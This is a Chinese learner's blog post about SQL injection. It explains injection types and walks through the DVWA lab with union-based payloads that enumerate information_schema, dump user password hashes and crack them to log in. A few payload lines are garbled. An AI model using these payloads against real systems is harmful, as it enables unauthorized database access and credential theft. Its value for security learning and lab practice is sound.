SQL注入的学习与个人理解

什么是SQL注入攻击

刚开始接触未免不清楚什么是SQL注入攻击,SQL注入不同于XSS攻击。SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。目前是对数据库进行攻击的最常用手段之一。

SQL注入产生的原因

当我们访问动态网页时, Web 服务器会向数据访问层发起SQL查询请求,如果权限验证通过就会执行 SQL 语句。 这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 SQL 语句,如果用户输入的数据被构造成恶意 SQL 代码,Web 应用又未对动态构造的 SQL语句使用的参数进行审查。所以就产生了一定的危害。

在安恒的平台上学习的时候,它给了这样的例子:
首先我们的数据库中有一个表格
表格

之后对应的有登录页面,输入用户的账号密码,查询数据库,进行登录。在文本框内输入查询信息,提交能够达到显示登录结果。
测试

但是SQL中有一个万能语句就是 ‘ or 1=’1,那么为什么是万能语句,为什么他能够绕过验证登录,进去。例如安恒给的测试:
测试
在这个程序中,SQL语句为

SELECT * FROM USERS WHERE ACCOUNT='aa' OR 1=1 --' AND PASSWORD='aa'

这里面–表示注释,这样看的话真正的SQL语句就是:
SELECT * FROM USERS WHERE ACCOUNT='aa' OR 1=1
在这里,“1=1”它一定是真,是永真,所以该语句将返回USERS表中的所有记录。网站就受到了这个攻击。

还有一种是通配符进行注入(此前并不知道这也是SQL注入的一种,也是刚刚通过安恒的课程了解到。)
通配符例子
例如
解析

SQL注入语句分类

整型注入

基于整型的SQL注入即存在SQL注入漏洞的URL参数为整数类型。

应用程序数据库的字符型SQL语句为:
SELECT * FROM admin WHERE id =1 and 1=1

字符串注入

SELECT * FROM admin WHERE id = '1' and 1=1#'

搜索型注入

SELECT * FROM admin WHERE id LIKE '%1%' and '%'='%'

Time盲注

SELECT * FROM admin WHERE id =1 AND (SELECT if((SELECT substru(table_name,1,1) FROM users limit 0,1)='e',sleep(10),null))

Bool盲注

SELECT * FROM admin WHERE id = 1 and ascii(substr((SELECT database()),1,1,((>99

报错型注入

SELECT *FROM admin where ID = 1 AND (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)

联合查询的类型

SELECT column1,column2,colmn3 FROM admin WHERE id ='1' UNION SELECT column1, column2, column3 FROM users;

PS:这里面的个别语句个人也不是很懂得,但总是需要先记录了解下来,之后在日后的学习中,逐步完善自己的知识储备。

判断Sql注入漏洞的类型

 通常 Sql 注入漏洞分为 2 种类型:

  • 数字型

  • 字符型


其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。

数字型判断

输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下: select * from <表名> where id = x 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

 Url 地址中输入 http://xxx/SL.phP?id= x and 1=1 页面依旧运行正常,继续进行下一步。

 Url 地址中继续输入 http://xxx/SL.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

 原因如下: 当输入 and 1=1时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=1

没有语法错误且逻辑判断为正确,所以返回正常。

 当输入 and 1=2时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'

select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

字符型判断

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下: select * from <表名> where id = ‘x’ 这种类型我们同样可以使用 and ‘1’=’1 和 and ‘1’=’2来判断:

 Url 地址中输入 http://xxx/abc.php?id= x’ and ‘1’=’1 页面运行正常,继续进行下一步。
 Url 地址中继续输入 http://xxx/abc.php?id= x’ and ‘1’=’2 页面运行错误,则说明此 Sql 注入为字符型注入。

 原因如下: 当输入 and ‘1’=’1时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='1'

可以看到语法正确,逻辑判断正确,所以返回正确。

  当输入 and ‘1’=’2时,后台执行 Sql 语句:
select * from <表名> where id = 'x' and '1'='2'

语法正确,但逻辑判断错误,所以返回正确。

小练习

SQL基本语句

在进行注入练习前我认为需要进行SQL语句的练习。首先select的语句前面注入里就可以看到它的重要性了。
PHPstudy中本身就有sql的命令行,可以直接的进行练习。

(1)使用数据库
use 数据库名称;

(2)在users表里查询用户名为‘admin’的所有信息

select * from users where user='admin'

有三个要点,

  1. ‘*’:通配符表示匹配所有内容,也就是来者不拒
  2. ‘where’:关键字作为条件限定。
  3. 在数据库中字符串时一般由单引号包住的
    在这里,select是从数据库检索数据的。

union 联合

就是将union前面的数据,和后面的数据放在一起,以便能在一个表显示。什么叫放在一起呢?
请看例子:

select 1,2,3 union select 4,5,6;

解析,我们知道select 1,2,3是输出三个数字,分别为1,2,3。后面的select也是一样输出3个数字。
要是后面的输出的数据数目不一致,那么则会导致下列的错误

The used SELECT statements have a different number of columns`

order by
这个是让我们检索出来的数据进行升序或者降序排列的。

select user,user_id from users order by user

在这里我们,介绍一个概念就是“字段”。字段也就是一个表里面的数据列,每一个字段表示一列。我们这里,我们select语句检索user,user_id两个数据列。当我们使用order by user的时候,会根据user数据列的的每一个数据的来进行排序,默认是升序asc。

PS:我们除了使用字段名来作为order by的条件外,还可以使用数字。

1表示的第一个字段

2表示的第二个字段
如此类推就可以了,但是当不存在那个字段的时候,就会产生这样的错误

unknown column name xx

练习

还是通过安全龙进入DVWA实验室找到需要练习的项目
练习1
首先让我们输入ID 那就输个1或者2看看吧

练习1

练习1

这里可以看到它返回三行数据,一行是我们输入的用户ID。一行是用户名,另外一行是用户别名。
练习1

这里看到地址栏中 ?id=1
这不就是注入的吗 对id这个参数进行测试
这里我们在输入框里面输入“1’”,注意1后面有一个单引号“’”。
可以发现,这里报错了。说我们的sql语句出现语法错误。

之后我们开始注入首先我们需要 分析字段数
基本的话,他也是有两种方法的
分析字段数的原因是我们之后需要用union select语句获得我们需要的敏感数据。

根据order by知识知道,要是后面跟着的数字超出了字段数的时候,则会报错!通过这个我们可以确定字段数。
我们构造的payload如下:
1’ order by 1#
1’ order by 2#
1’ order by 3#
当输入到3的时候,发现它报错了。也就是说明字段数为2

练习1

那字段数为2,也就是select出来的数据列有两列。也就是我们可以通过union select出两个数据。好了我们来获得关于我们数据库的信息吧!
1、获取当前数据库名字,当前用户名
1’ union select database(),user()#

atabase()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。
练习1

这里我们看到
当前数据库为:dvwa
当前用户名:root@localhost

但是我们的目的的是获取当前的用户表,根据上面的信息,我们知道当前数据库名为dvwa。可是还不够。

突然感觉自己会的语句真的不多。。。于是去找了找语句,参考了下 看到了这段话

information_schema,是一个包含了mysql数据库所有信息的新华字典,有啥关于数据库的信息不知道问它没问题!它本质上还是一个database,存着其他各个数据的信息。在其中,有一个表长成这样tables。有一个表长这样columns。tables这个表存的是关于数据库中所有表的信息,他有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的表所在的数据库。对于columns,它有column_name,table_schema,table_name

我们拥有的消息是数据库名,也就是说我们可以用

-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#

information_schema不就使我们的新华字典咯!这里我们使用一种语法,
“数据名.表名”
tables就相当于我们新华字典的目录,table_name是tables里面的字段。语句的意思就是,这里是一本新华字典帮我把数据库名为”dvwa”这个偏旁部首的字(表名)找出来。

练习1

看到了users 这个肯定是我们需要找到表了 那么我们猜列名,注入

1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

得到列:
user_id, first_name, last_name, user, password, avatar, last_login, failed_login, id, username,password

练习1

PS:使用这个需要注意。如果显示的地方太小你会看不到后面的字符,所以如果有限制建议一个一个的爆出来。

猜用户密码,注入:

1’ union select null,concat_ws(char(32,58,32),user,password) from users #

得到用户信息,例如admin数据,

练习1
我们看到了admin 5f4dcc3b5aa765d61d8327deb882cf99 账号密码 后面被加密了 应该是MD5解一下发现对应的就是password OK那么我们下面的账号密码应该都有了 解密 gordonb 密码是abc123

OK我们来登陆试试
练习1
登录成功。

总结

首先mysql的语法

在where语句中,当出现多个字符串的时候,“=”将会选择优先级最高的一个,优先级是从左到右,依次降低的!也就是离“=”最近的一个。

例子。

第一个是和我们上面类似的sql查询语句

select * from users where user_id = ‘1’’’;

第二个是来阐明我们这个优先级的,

select * from users where user_id = ‘1’’2’;

可以看到,出来的结果还是和user_id=1一样。

我们再看一个长长的,

select * from users where user_id = ‘1’’2’’abc’’efg’;

事实胜于雄辩,可以看到结果还是和上面的一样。

测试方法(在判断注入时,最后一个引号没被闭合):

使用“#”符号来注释后面的单引号
到时查询语句将会变成这样,
select firstname,surname from users where id = ‘1’#’;

使用“– ”,这里注意了“–”后面有一个空格。在url当中,我们需要使用“+”来代替“–”后面的空格。
到时查询语句将会变成这样,
select firstname,surname from users where id = ‘1’– ‘;

information_schema,是一个包含了mysql数据库所有信息的新华字典,有啥关于数据库的信息不知道问它没问题!它本质上还是一个database,存着其他各个数据的信息。在其中,有一个表长成这样tables。有一个表长这样columns。tables这个表存的是关于数据库中所有表的信息,他有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的表所在的数据库。对于columns,它有column_name,table_schema,table_name

暂时先初级,容我消化一下继续进行。


 上一篇
南邮CTF-WEB-writeup 南邮CTF-WEB-writeup
WEB题签到题 打开界面看到:key在哪里? 签到题都不会很难,查看源代码。 md5 collision 首先还是先看看题 题目提示给出了MD5 中间又有 md51=md52 看到前面有QNKCDZO 那么很显然啊 就是找到和‘QNKC
2019-07-19 Greypotato
下一篇 
MISC(一)练习 MISC(一)练习
i春秋 MISC 神秘的文件一天最少一道CTF题目,只能多不能少下载文件,并没有后缀,winhex走一波发现开头是一个PNG文件 更改后缀后,得到图片,打开 题目说:不知名的文件,貌似已经损坏,你能找到里面隐藏的信息吗? 看来这个文件应该
2019-07-14 Greypotato
  目录